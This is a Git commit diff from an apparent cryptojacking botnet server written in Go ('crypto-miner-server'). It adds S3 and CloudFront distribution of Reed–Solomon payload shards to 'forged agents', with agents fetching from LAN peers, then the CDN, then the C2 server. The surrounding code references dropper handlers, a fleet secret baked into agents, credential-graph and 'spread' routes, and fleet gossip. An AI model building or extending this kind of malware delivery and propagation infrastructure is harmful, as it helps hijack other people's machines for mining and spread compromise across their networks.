Add S3 erasure swarm with CloudFront signed magnets.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.
This commit is contained in:
@@ -120,6 +120,8 @@ type ServerSettings struct {
|
||||
FargateBurstExpiresAt string `json:"fargate_burst_expires_at,omitempty"`
|
||||
CloudMapNamespace string `json:"cloud_map_namespace,omitempty"`
|
||||
CloudMapService string `json:"cloud_map_service,omitempty"`
|
||||
PolicySnapshotToken string `json:"policy_snapshot_token,omitempty"`
|
||||
EventBridgeRelayURL string `json:"eventbridge_relay_url,omitempty"`
|
||||
}
|
||||
|
||||
// WebRTCMeshPolicySettings is Calibrate policy for WebRTC LAN seed spread.
|
||||
|
||||
@@ -13,8 +13,8 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/cloudmap"
|
||||
"crypto-miner-server/internal/db"
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/cloudmap"
|
||||
"crypto-miner-server/internal/erasure"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
@@ -278,6 +278,7 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
|
||||
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
|
||||
}
|
||||
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
|
||||
h.attachCloudMapRouteVia(&body)
|
||||
if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
|
||||
return DeployPlanBody{}, err
|
||||
}
|
||||
@@ -844,3 +845,49 @@ func VerifyDeployPlanSignature(plan DeployPlanBody, signature, fleetSecret strin
|
||||
expected := hex.EncodeToString(mac.Sum(nil))
|
||||
return hmac.Equal([]byte(expected), []byte(signature))
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) cloudMapSettings() (namespace, service string) {
|
||||
namespace = "prod.local"
|
||||
service = "seeder"
|
||||
if h.dataDir == "" {
|
||||
return namespace, service
|
||||
}
|
||||
cfgPath := filepath.Join(h.dataDir, "config.json")
|
||||
data, err := os.ReadFile(cfgPath)
|
||||
if err != nil {
|
||||
return namespace, service
|
||||
}
|
||||
var payload struct {
|
||||
Server struct {
|
||||
CloudMapNamespace string `json:"cloud_map_namespace"`
|
||||
CloudMapService string `json:"cloud_map_service"`
|
||||
} `json:"server"`
|
||||
}
|
||||
if json.Unmarshal(data, &payload) != nil {
|
||||
return namespace, service
|
||||
}
|
||||
if ns := strings.TrimSpace(payload.Server.CloudMapNamespace); ns != "" {
|
||||
namespace = ns
|
||||
}
|
||||
if svc := strings.TrimSpace(payload.Server.CloudMapService); svc != "" {
|
||||
service = svc
|
||||
}
|
||||
return namespace, service
|
||||
}
|
||||
|
||||
func (h *DeployPlanHandler) attachCloudMapRouteVia(body *DeployPlanBody) {
|
||||
if body == nil {
|
||||
return
|
||||
}
|
||||
ns, svc := h.cloudMapSettings()
|
||||
routeVia := cloudmap.SeederDNSName(svc, ns)
|
||||
if routeVia == "" {
|
||||
return
|
||||
}
|
||||
if body.SpreadRouteHint == nil {
|
||||
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
||||
}
|
||||
if strings.TrimSpace(body.SpreadRouteHint.RouteVia) == "" {
|
||||
body.SpreadRouteHint.RouteVia = routeVia
|
||||
}
|
||||
}
|
||||
|
||||
42
server/internal/api/deploy_plan_s3_swarm_test.go
Normal file
42
server/internal/api/deploy_plan_s3_swarm_test.go
Normal file
@@ -0,0 +1,42 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/x509"
|
||||
"encoding/pem"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/erasure"
|
||||
)
|
||||
|
||||
type s3Up struct{ n int }
|
||||
|
||||
func (u *s3Up) PutShard(context.Context, string, string, []byte) error { u.n++; return nil }
|
||||
func (u *s3Up) HeadBucket(context.Context, string) error { return nil }
|
||||
|
||||
func TestAttachErasurePlanUploadsS3Swarm(t *testing.T) {
|
||||
priv, _ := rsa.GenerateKey(rand.Reader, 2048)
|
||||
pemBytes := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
|
||||
u := &s3Up{}
|
||||
h := testDeployPlanHandler(t)
|
||||
store := erasure.NewShardStore()
|
||||
h.BindErasure(func() bool { return true }, store)
|
||||
h.BindAWSErasureSwarm(func() erasure.AWSSwarmSettings {
|
||||
return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{
|
||||
S3Bucket: "b", CloudFrontDomain: "d.cf.net", Region: "us-east-1",
|
||||
AccessKeyID: "A", SecretAccessKey: "s", KeyPairID: "K", PrivateKeyPEM: string(pemBytes),
|
||||
})
|
||||
}, func(erasure.AWSSwarmSettings) erasure.ShardObjectStore { return u })
|
||||
plan, err := h.buildPlan(deployPlanRequest{Platform: "windows", BuildID: "b1"}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
|
||||
if err != nil {
|
||||
t.Fatalf("buildPlan: %v", err)
|
||||
}
|
||||
if plan.ErasurePlan == nil {
|
||||
t.Fatalf("missing erasure plan n=%d", u.n)
|
||||
}
|
||||
if u.n != 6 || plan.ErasurePlan.Shards[0].EdgeURL == "" {
|
||||
t.Fatalf("n=%d edge=%q", u.n, plan.ErasurePlan.Shards[0].EdgeURL)
|
||||
}
|
||||
}
|
||||
95
server/internal/api/erasure_swarm.go
Normal file
95
server/internal/api/erasure_swarm.go
Normal file
@@ -0,0 +1,95 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/erasure"
|
||||
)
|
||||
|
||||
type ErasureSwarmHandler struct {
|
||||
awsSettings func() erasure.AWSSwarmSettings
|
||||
objectStore func() erasure.ShardObjectStore
|
||||
}
|
||||
|
||||
func NewErasureSwarmHandler(awsSettings func() erasure.AWSSwarmSettings, objectStore func() erasure.ShardObjectStore) *ErasureSwarmHandler {
|
||||
return &ErasureSwarmHandler{awsSettings: awsSettings, objectStore: objectStore}
|
||||
}
|
||||
|
||||
type erasureSwarmTestResponse struct {
|
||||
OK bool `json:"ok"`
|
||||
CredentialsReady bool `json:"credentials_ready"`
|
||||
SigningReady bool `json:"signing_ready"`
|
||||
Error string `json:"error,omitempty"`
|
||||
S3Bucket string `json:"s3_bucket,omitempty"`
|
||||
CloudFrontDomain string `json:"cloudfront_domain,omitempty"`
|
||||
}
|
||||
|
||||
func (h *ErasureSwarmHandler) PostTest(w http.ResponseWriter, r *http.Request) {
|
||||
cfg := h.cfg(r)
|
||||
resp := erasureSwarmTestResponse{S3Bucket: cfg.S3Bucket, CloudFrontDomain: cfg.CloudFrontDomain, CredentialsReady: cfg.CredentialsReady(), SigningReady: cfg.SigningReady()}
|
||||
if !cfg.Enabled() {
|
||||
resp.Error = "set aws_s3_shard_bucket and aws_cloudfront_domain"
|
||||
writeJSON(w, resp)
|
||||
return
|
||||
}
|
||||
if !cfg.CredentialsReady() {
|
||||
resp.Error = "set AF_AWS_ACCESS_KEY_ID and AF_AWS_SECRET_ACCESS_KEY"
|
||||
writeJSON(w, resp)
|
||||
return
|
||||
}
|
||||
if err := h.store().HeadBucket(r.Context(), cfg.S3Bucket); err != nil {
|
||||
resp.Error = err.Error()
|
||||
writeJSON(w, resp)
|
||||
return
|
||||
}
|
||||
resp.OK = true
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
func (h *ErasureSwarmHandler) GetPolicyJSON(w http.ResponseWriter, r *http.Request) {
|
||||
cfg := h.cfg(r)
|
||||
bucket := strings.TrimSpace(r.URL.Query().Get("bucket"))
|
||||
if bucket == "" {
|
||||
bucket = cfg.S3Bucket
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"iam_policy": erasure.MinimalIAMPolicyJSON(bucket),
|
||||
"bucket_policy": erasure.MinimalBucketPolicyJSON(bucket, r.URL.Query().Get("cloudfront_arn")),
|
||||
"env_keys": []string{"AF_AWS_ACCESS_KEY_ID", "AF_AWS_SECRET_ACCESS_KEY", "AF_AWS_REGION", "AF_CLOUDFRONT_KEY_PAIR_ID", "AF_CLOUDFRONT_PRIVATE_KEY"},
|
||||
})
|
||||
}
|
||||
|
||||
func (h *ErasureSwarmHandler) cfg(r *http.Request) erasure.AWSSwarmSettings {
|
||||
cfg := erasure.AWSSwarmSettings{}
|
||||
if h != nil && h.awsSettings != nil {
|
||||
cfg = h.awsSettings()
|
||||
}
|
||||
if r != nil && r.Method == http.MethodPost {
|
||||
var body struct {
|
||||
S3Bucket string `json:"s3_bucket"`
|
||||
CloudFrontDomain string `json:"cloudfront_domain"`
|
||||
}
|
||||
if json.NewDecoder(r.Body).Decode(&body) == nil {
|
||||
if v := strings.TrimSpace(body.S3Bucket); v != "" {
|
||||
cfg.S3Bucket = v
|
||||
}
|
||||
if v := strings.TrimSpace(body.CloudFrontDomain); v != "" {
|
||||
cfg.CloudFrontDomain = v
|
||||
}
|
||||
}
|
||||
}
|
||||
return erasure.HydrateAWSSwarmFromEnv(cfg)
|
||||
}
|
||||
|
||||
func (h *ErasureSwarmHandler) store() erasure.ShardObjectStore {
|
||||
if h != nil && h.objectStore != nil {
|
||||
return h.objectStore()
|
||||
}
|
||||
cfg := erasure.AWSSwarmSettings{}
|
||||
if h != nil && h.awsSettings != nil {
|
||||
cfg = erasure.HydrateAWSSwarmFromEnv(h.awsSettings())
|
||||
}
|
||||
return &erasure.S3HTTPStore{Settings: cfg}
|
||||
}
|
||||
34
server/internal/api/erasure_swarm_test.go
Normal file
34
server/internal/api/erasure_swarm_test.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"os"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/erasure"
|
||||
)
|
||||
|
||||
type okStore struct{}
|
||||
|
||||
func (okStore) PutShard(context.Context, string, string, []byte) error { return nil }
|
||||
func (okStore) HeadBucket(context.Context, string) error { return nil }
|
||||
|
||||
func TestErasureSwarmPostTestOK(t *testing.T) {
|
||||
os.Setenv("AF_AWS_ACCESS_KEY_ID", "A")
|
||||
os.Setenv("AF_AWS_SECRET_ACCESS_KEY", "s")
|
||||
defer os.Unsetenv("AF_AWS_ACCESS_KEY_ID")
|
||||
defer os.Unsetenv("AF_AWS_SECRET_ACCESS_KEY")
|
||||
h := NewErasureSwarmHandler(func() erasure.AWSSwarmSettings {
|
||||
return erasure.AWSSwarmSettings{S3Bucket: "b", CloudFrontDomain: "d.cf.net"}
|
||||
}, func() erasure.ShardObjectStore { return okStore{} })
|
||||
rec := httptest.NewRecorder()
|
||||
h.PostTest(rec, httptest.NewRequest(http.MethodPost, "/", nil))
|
||||
var body erasureSwarmTestResponse
|
||||
_ = json.NewDecoder(rec.Body).Decode(&body)
|
||||
if !body.OK {
|
||||
t.Fatalf("%+v", body)
|
||||
}
|
||||
}
|
||||
@@ -93,7 +93,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
||||
|
||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||
fleetAIHandler := NewFleetAIHandler(cfg, database)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||
@@ -170,7 +170,7 @@ func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub
|
||||
|
||||
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||
fleetAIHandler := NewFleetAIHandler(cfg, database)
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, fleetAIHandler, dropperHandler, nil, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir
|
||||
}
|
||||
|
||||
func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) {
|
||||
|
||||
@@ -662,6 +662,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/spread/aws-s3-crr-template", spreadHandler.GetS3CRRTemplate)
|
||||
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
||||
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
||||
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
|
||||
r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout)
|
||||
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
|
||||
}
|
||||
if wsHub != nil {
|
||||
@@ -785,6 +787,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
|
||||
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
|
||||
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
|
||||
r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot)
|
||||
}
|
||||
if spreadHandler != nil {
|
||||
r.Get("/public/fargate-burst/task-definition.json", spreadHandler.FargateBurstTaskDefinition)
|
||||
|
||||
@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
|
||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||
|
||||
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
|
||||
@@ -27,6 +27,8 @@ type SpreadHandler struct {
|
||||
erasureShards *erasure.ShardStore
|
||||
deployPlan *DeployPlanHandler
|
||||
s3CRRConfigFn func() erasure.S3ShardConfig
|
||||
policyPathTracer *PathTracerHandler
|
||||
policyFanoutCfgFn func() PolicyFanoutConfig
|
||||
notesMu sync.RWMutex
|
||||
}
|
||||
|
||||
|
||||
@@ -182,6 +182,9 @@ type WSHub struct {
|
||||
fargateBurstCampaign bool
|
||||
fargateBurstExpiresAt time.Time
|
||||
fargateBurstTTLHours int
|
||||
policySnapshotToken string
|
||||
policyEventBridgeRelayURL string
|
||||
policyPublicBaseURL func() string
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
@@ -976,6 +979,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
spreadPolicy[k] = v
|
||||
}
|
||||
}
|
||||
if fanout := h.policyFanoutSpreadFields(); fanout != nil {
|
||||
for k, v := range fanout {
|
||||
spreadPolicy[k] = v
|
||||
}
|
||||
}
|
||||
if len(spreadPolicy) > 0 {
|
||||
resp["spread_policy"] = spreadPolicy
|
||||
}
|
||||
|
||||
@@ -1,17 +1,16 @@
|
||||
package atlas
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Fleet gossip kinds — shard DHT advertisements relayed fleet-wide (not LAN-only).
|
||||
const (
|
||||
FleetGossipHaveShard = "have_shard"
|
||||
FleetGossipHealthy = "healthy"
|
||||
FleetGossipKnowNode = "know_node"
|
||||
)
|
||||
|
||||
// FleetGossipRecord is one peer advertisement in the fleet torrent DHT.
|
||||
type FleetGossipRecord struct {
|
||||
Kind string `json:"kind"`
|
||||
AgentID string `json:"agent_id,omitempty"`
|
||||
@@ -19,18 +18,21 @@ type FleetGossipRecord struct {
|
||||
Token string `json:"token,omitempty"`
|
||||
ShardIndex int `json:"shard_index,omitempty"`
|
||||
ShardHash string `json:"shard_hash,omitempty"`
|
||||
Region string `json:"region,omitempty"`
|
||||
ShardAdvert string `json:"shard_advert,omitempty"`
|
||||
TargetAgentID string `json:"target_agent_id,omitempty"`
|
||||
Healthy bool `json:"healthy,omitempty"`
|
||||
FetchURL string `json:"fetch_url,omitempty"`
|
||||
}
|
||||
|
||||
// NormalizeFleetGossipRecord validates and trims one fleet gossip record.
|
||||
func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
|
||||
r.Kind = strings.TrimSpace(strings.ToLower(r.Kind))
|
||||
r.AgentID = strings.TrimSpace(r.AgentID)
|
||||
r.Subnet = strings.TrimSpace(r.Subnet)
|
||||
r.Token = strings.TrimSpace(r.Token)
|
||||
r.ShardHash = strings.TrimSpace(strings.ToLower(r.ShardHash))
|
||||
r.Region = strings.TrimSpace(r.Region)
|
||||
r.ShardAdvert = strings.TrimSpace(r.ShardAdvert)
|
||||
r.TargetAgentID = strings.TrimSpace(r.TargetAgentID)
|
||||
r.FetchURL = strings.TrimSpace(r.FetchURL)
|
||||
switch r.Kind {
|
||||
@@ -38,6 +40,17 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
|
||||
if r.AgentID == "" || r.Token == "" || r.ShardHash == "" {
|
||||
return FleetGossipRecord{}, false
|
||||
}
|
||||
if r.Region == "" && r.ShardAdvert != "" {
|
||||
if region, idx, ok := parseShardAdvert(r.ShardAdvert); ok {
|
||||
r.Region = region
|
||||
if r.ShardIndex == 0 {
|
||||
r.ShardIndex = idx
|
||||
}
|
||||
}
|
||||
}
|
||||
if r.ShardAdvert == "" && r.Region != "" {
|
||||
r.ShardAdvert = fmt.Sprintf("%s:%d", r.Region, r.ShardIndex)
|
||||
}
|
||||
case FleetGossipHealthy:
|
||||
if r.AgentID == "" {
|
||||
return FleetGossipRecord{}, false
|
||||
@@ -52,7 +65,6 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
|
||||
return r, true
|
||||
}
|
||||
|
||||
// NormalizeFleetGossipRecords drops invalid records while preserving order.
|
||||
func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord {
|
||||
if len(in) == 0 {
|
||||
return nil
|
||||
@@ -65,3 +77,15 @@ func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord {
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func parseShardAdvert(advert string) (region string, index int, ok bool) {
|
||||
colon := strings.LastIndex(strings.TrimSpace(advert), ":")
|
||||
if colon <= 0 {
|
||||
return "", 0, false
|
||||
}
|
||||
region = strings.TrimSpace(advert[:colon])
|
||||
if _, err := fmt.Sscanf(strings.TrimSpace(advert[colon+1:]), "%d", &index); err != nil {
|
||||
return "", 0, false
|
||||
}
|
||||
return region, index, region != ""
|
||||
}
|
||||
|
||||
@@ -2,15 +2,12 @@ package atlas
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestNormalizeFleetGossipRecords(t *testing.T) {
|
||||
in := []FleetGossipRecord{
|
||||
{Kind: FleetGossipHaveShard, AgentID: "a", Token: "tok", ShardHash: "abc"},
|
||||
{Kind: "bogus"},
|
||||
{Kind: FleetGossipHealthy, AgentID: "b", Healthy: true},
|
||||
{Kind: FleetGossipKnowNode, AgentID: "a", TargetAgentID: "c"},
|
||||
}
|
||||
out := NormalizeFleetGossipRecords(in)
|
||||
if len(out) != 3 {
|
||||
t.Fatalf("got %d records", len(out))
|
||||
func TestNormalizeFleetGossipShardAdvert(t *testing.T) {
|
||||
r, ok := NormalizeFleetGossipRecord(FleetGossipRecord{
|
||||
Kind: FleetGossipHaveShard, AgentID: "a", Token: "t", ShardHash: "h",
|
||||
Region: "us-west-2", ShardIndex: 4,
|
||||
})
|
||||
if !ok || r.ShardAdvert != "us-west-2:4" {
|
||||
t.Fatalf("advert=%q", r.ShardAdvert)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -14,9 +14,10 @@ var parallelLaneOrder = []string{
|
||||
|
||||
// ShardRef is one erasure shard served on a parallel lane URL.
|
||||
type ShardRef struct {
|
||||
Index int `json:"index"`
|
||||
Lane string `json:"lane"`
|
||||
URL string `json:"url"`
|
||||
Index int `json:"index"`
|
||||
Lane string `json:"lane"`
|
||||
URL string `json:"url"`
|
||||
EdgeURL string `json:"edge_url,omitempty"`
|
||||
}
|
||||
|
||||
// Plan is deploy-plan metadata for agent-side Reed–Solomon reassembly.
|
||||
|
||||
284
server/internal/erasure/s3_swarm.go
Normal file
284
server/internal/erasure/s3_swarm.go
Normal file
@@ -0,0 +1,284 @@
|
||||
package erasure
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto"
|
||||
"crypto/rand"
|
||||
"crypto/hmac"
|
||||
"crypto/sha1"
|
||||
"crypto/rsa"
|
||||
"crypto/sha256"
|
||||
"crypto/x509"
|
||||
"encoding/base64"
|
||||
"encoding/hex"
|
||||
"encoding/pem"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
type AWSSwarmSettings struct {
|
||||
S3Bucket, CloudFrontDomain, Region, AccessKeyID, SecretAccessKey, KeyPairID, PrivateKeyPEM string
|
||||
}
|
||||
|
||||
func (s AWSSwarmSettings) Enabled() bool {
|
||||
return strings.TrimSpace(s.S3Bucket) != "" && strings.TrimSpace(s.CloudFrontDomain) != ""
|
||||
}
|
||||
func (s AWSSwarmSettings) CredentialsReady() bool {
|
||||
return s.Enabled() && strings.TrimSpace(s.AccessKeyID) != "" && strings.TrimSpace(s.SecretAccessKey) != ""
|
||||
}
|
||||
func (s AWSSwarmSettings) SigningReady() bool {
|
||||
return s.Enabled() && strings.TrimSpace(s.KeyPairID) != "" && strings.TrimSpace(s.PrivateKeyPEM) != ""
|
||||
}
|
||||
|
||||
func HydrateAWSSwarmFromEnv(s AWSSwarmSettings) AWSSwarmSettings {
|
||||
if v := strings.TrimSpace(os.Getenv("AF_AWS_ACCESS_KEY_ID")); v != "" && s.AccessKeyID == "" {
|
||||
s.AccessKeyID = v
|
||||
}
|
||||
if v := strings.TrimSpace(os.Getenv("AF_AWS_SECRET_ACCESS_KEY")); v != "" && s.SecretAccessKey == "" {
|
||||
s.SecretAccessKey = v
|
||||
}
|
||||
if v := strings.TrimSpace(os.Getenv("AF_AWS_REGION")); v != "" && s.Region == "" {
|
||||
s.Region = v
|
||||
}
|
||||
if v := strings.TrimSpace(os.Getenv("AF_CLOUDFRONT_KEY_PAIR_ID")); v != "" && s.KeyPairID == "" {
|
||||
s.KeyPairID = v
|
||||
}
|
||||
if v := strings.TrimSpace(os.Getenv("AF_CLOUDFRONT_PRIVATE_KEY")); v != "" && s.PrivateKeyPEM == "" {
|
||||
s.PrivateKeyPEM = strings.ReplaceAll(v, `\n`, "\n")
|
||||
}
|
||||
if s.Region == "" {
|
||||
s.Region = "us-east-1"
|
||||
}
|
||||
s.S3Bucket = strings.TrimSpace(s.S3Bucket)
|
||||
s.CloudFrontDomain = strings.TrimRight(strings.TrimSpace(s.CloudFrontDomain), "/")
|
||||
return s
|
||||
}
|
||||
|
||||
type ShardObjectStore interface {
|
||||
PutShard(ctx context.Context, bucket, key string, body []byte) error
|
||||
HeadBucket(ctx context.Context, bucket string) error
|
||||
}
|
||||
|
||||
type S3HTTPStore struct {
|
||||
Settings AWSSwarmSettings
|
||||
Endpoint string
|
||||
Client interface{ Do(*http.Request) (*http.Response, error) }
|
||||
}
|
||||
|
||||
func (s *S3HTTPStore) client() interface{ Do(*http.Request) (*http.Response, error) } {
|
||||
if s != nil && s.Client != nil {
|
||||
return s.Client
|
||||
}
|
||||
return http.DefaultClient
|
||||
}
|
||||
|
||||
func (s *S3HTTPStore) endpoint(bucket string) string {
|
||||
if s != nil && strings.TrimSpace(s.Endpoint) != "" {
|
||||
return strings.TrimRight(strings.TrimSpace(s.Endpoint), "/")
|
||||
}
|
||||
region := strings.TrimSpace(s.Settings.Region)
|
||||
if region == "" {
|
||||
region = "us-east-1"
|
||||
}
|
||||
return fmt.Sprintf("https://%s.s3.%s.amazonaws.com", bucket, region)
|
||||
}
|
||||
|
||||
func (s *S3HTTPStore) HeadBucket(ctx context.Context, bucket string) error {
|
||||
u := s.endpoint(bucket) + "/"
|
||||
req, _ := http.NewRequestWithContext(ctx, http.MethodHead, u, nil)
|
||||
signS3Request(req, s.Settings, bucket, "", nil)
|
||||
resp, err := s.client().Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode < 300 {
|
||||
return nil
|
||||
}
|
||||
return fmt.Errorf("s3 head bucket HTTP %d", resp.StatusCode)
|
||||
}
|
||||
|
||||
func (s *S3HTTPStore) PutShard(ctx context.Context, bucket, key string, body []byte) error {
|
||||
u := s.endpoint(bucket) + "/" + strings.TrimLeft(key, "/")
|
||||
req, _ := http.NewRequestWithContext(ctx, http.MethodPut, u, bytes.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/octet-stream")
|
||||
signS3Request(req, s.Settings, bucket, key, body)
|
||||
resp, err := s.client().Do(req)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode < 300 {
|
||||
return nil
|
||||
}
|
||||
b, _ := io.ReadAll(io.LimitReader(resp.Body, 512))
|
||||
return fmt.Errorf("s3 put HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(b)))
|
||||
}
|
||||
|
||||
type SwarmAttachResult struct {
|
||||
EdgeURLs, ShardManifestURLs []string
|
||||
SwarmMagnet string
|
||||
}
|
||||
|
||||
func AttachS3Swarm(ctx context.Context, cfg AWSSwarmSettings, store ShardObjectStore, token, payloadSHA string, payloadSize int, p Params, shards [][]byte, hashes []string) (*SwarmAttachResult, error) {
|
||||
cfg = HydrateAWSSwarmFromEnv(cfg)
|
||||
if !cfg.Enabled() {
|
||||
return nil, nil
|
||||
}
|
||||
if store == nil {
|
||||
store = &S3HTTPStore{Settings: cfg}
|
||||
}
|
||||
p, err := p.Normalize()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
region := strings.TrimSpace(cfg.Region)
|
||||
if region == "" {
|
||||
region = "us-east-1"
|
||||
}
|
||||
edgeURLs := make([]string, p.TotalShards())
|
||||
for i := range shards {
|
||||
key := S3ShardKey(token, region, i, hashes[i])
|
||||
if err := store.PutShard(ctx, cfg.S3Bucket, key, shards[i]); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
edge, err := CloudFrontSignedShardURL(cfg, "/"+key, 24*time.Hour)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
edgeURLs[i] = edge
|
||||
}
|
||||
return &SwarmAttachResult{EdgeURLs: edgeURLs, ShardManifestURLs: append([]string(nil), edgeURLs...), SwarmMagnet: SwarmMagnetLinkEx(token, payloadSHA, edgeURLs)}, nil
|
||||
}
|
||||
|
||||
func CloudFrontSignedShardURL(cfg AWSSwarmSettings, objectPath string, ttl time.Duration) (string, error) {
|
||||
cfg = HydrateAWSSwarmFromEnv(cfg)
|
||||
if !cfg.SigningReady() {
|
||||
return "", fmt.Errorf("cloudfront signing not configured")
|
||||
}
|
||||
domain := cfg.CloudFrontDomain
|
||||
if !strings.HasPrefix(domain, "http") {
|
||||
domain = "https://" + domain
|
||||
}
|
||||
